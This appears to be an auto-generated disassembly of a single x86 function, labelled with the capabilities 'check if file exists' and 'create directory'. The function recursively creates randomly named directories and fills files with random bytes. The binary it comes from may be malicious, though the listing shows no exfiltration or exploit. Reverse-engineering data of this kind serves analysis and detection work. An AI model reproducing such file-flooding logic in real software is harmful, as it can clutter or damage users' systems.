Function at 0x402bb0
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1ac
cmp dword [ebp + 0xc], 1
jle 0x402bca
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt.dll_rand
mov esi, 0x66666667
mov ebx, eax
imul esi
mov ecx, ebx
sar ecx, 0x1f
mov eax, edx
sar eax, 2
sub eax, ecx
lea edx, [eax + eax*4]
add edx, edx
mov eax, ebx
sub eax, edx
test eax, eax
jle 0x402bc2
mov dword [ebp - 0x180], eax
mov esi, esi
lea edi, [edi]
cld
mov ecx, 0x10
lea edi, [ebp - 0x58]
mov esi, 0x4230f8
rep movsd dword es:[edi], dword [esi]
call sub.msvcrt.dll_rand
and eax, 0xf
lea edx, [ebp - 0x158]
mov ebx, dword [ebp + eax*4 - 0x58]
mov dword [esp], edx
mov dword [esp + 4], ebx
call sub.msvcrt.dll_strcpy
call sub.msvcrt.dll_rand
test al, 1
je 0x402cf3
mov ebx, esp
lea ecx, [ebp - 0x158]
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x402c50
and edx, 0x8080
jne 0x402c76
shr eax, 0x10
add ecx, 2
mov edx, dword [ebp + 8]
add al, al
mov esi, ecx
sbb esi, 3
lea ecx, [ebp - 0x158]
sub esi, ecx
mov dword [esp], edx
call sub.msvcrt.dll_strlen
lea eax, [esi + eax + 0x3e]
and eax, 0xfffffff0
call fcn.00421960
lea edi, [ebp - 0x158]
mov edx, 0x4243ac
lea esi, [esp + 0x23]
mov dword [esp + 0xc], edi
and esi, 0xfffffff0
mov ecx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], esi
mov dword [esp + 8], ecx
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402ce0
mov edi, dword [ebp + 0xc]
test edi, edi
jle 0x402eae
mov esp, ebx
dec dword [ebp - 0x180]
jne 0x402c00
jmp 0x402bc2
mov dword [ebp - 0x17c], esp
mov esi, 0x42443f
mov ebx, 0x424443
mov dword [ebp - 0x178], esi
mov ecx, 0x424447
mov eax, 0x42444b
mov dword [ebp - 0x174], ebx
mov edi, 0x42444f
mov edx, 0x424453
mov dword [ebp - 0x168], ecx
mov esi, 0x424457
mov ebx, 0x42445b
mov dword [ebp - 0x170], eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], esi
mov dword [ebp - 0x15c], ebx
mov esi, esi
lea edi, [edi]
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x402d60
and edx, 0x8080
jne 0x402d86
shr eax, 0x10
add ecx, 2
mov edi, dword [ebp + 8]
add al, al
mov esi, ecx
sbb esi, 3
lea edx, [ebp - 0x158]
sub esi, edx
mov dword [esp], edi
call sub.msvcrt.dll_strlen
lea eax, [esi + eax + 0x3e]
and eax, 0xfffffff0
call fcn.00421960
call sub.msvcrt.dll_rand
and eax, 7
lea edi, [esp + 0x23]
mov ebx, dword [ebp + eax*4 - 0x178]
lea eax, [ebp - 0x158]
and edi, 0xfffffff0
mov edx, str._s_s._s
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
mov ecx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], edi
mov dword [esp + 8], ecx
call sub.msvcrt.dll_sprintf
mov dword [esp], edi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
mov esi, eax
je 0x402e05
mov esp, dword [ebp - 0x17c]
jmp 0x402ce2
mov dword [esp], edi
mov ecx, 0x424468
mov dword [esp + 4], ecx
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x402dfa
call sub.msvcrt.dll_rand
mov dword [ebp - 0x18c], eax
mov ecx, 0x66666667
imul ecx
mov ecx, dword [ebp - 0x18c]
sar ecx, 0x1f
mov dword [ebp - 0x194], edx
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x194]
sar eax, 2
sub eax, ecx
lea edx, [eax + eax*4]
mov eax, dword [ebp - 0x18c]
add edx, edx
sub eax, edx
shl eax, 0xa
cmp esi, eax
jge 0x402e99
mov esi, eax
jmp 0x402e86
mov dword [esp], ebx
and edx, 0xffffff00
sub eax, edx
mov dword [esp + 8], eax
mov edx, 0x42446a
mov dword [esp + 4], edx
call sub.msvcrt.dll_fprintf
dec esi
je 0x402e99
call sub.msvcrt.dll_rand
test eax, eax
mov edx, eax
jns 0x402e66
lea edx, [eax + 0xff]
jmp 0x402e66
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dword [esp], edi
call fcn.00408320
jmp 0x402dfa
mov dword [esp], esi
call sub.msvcrt.dll__mkdir
mov eax, dword [ebp + 0xc]
mov dword [esp], esi
inc eax
mov dword [esp + 4], eax
call fcn.00402bb0
jmp 0x402ce0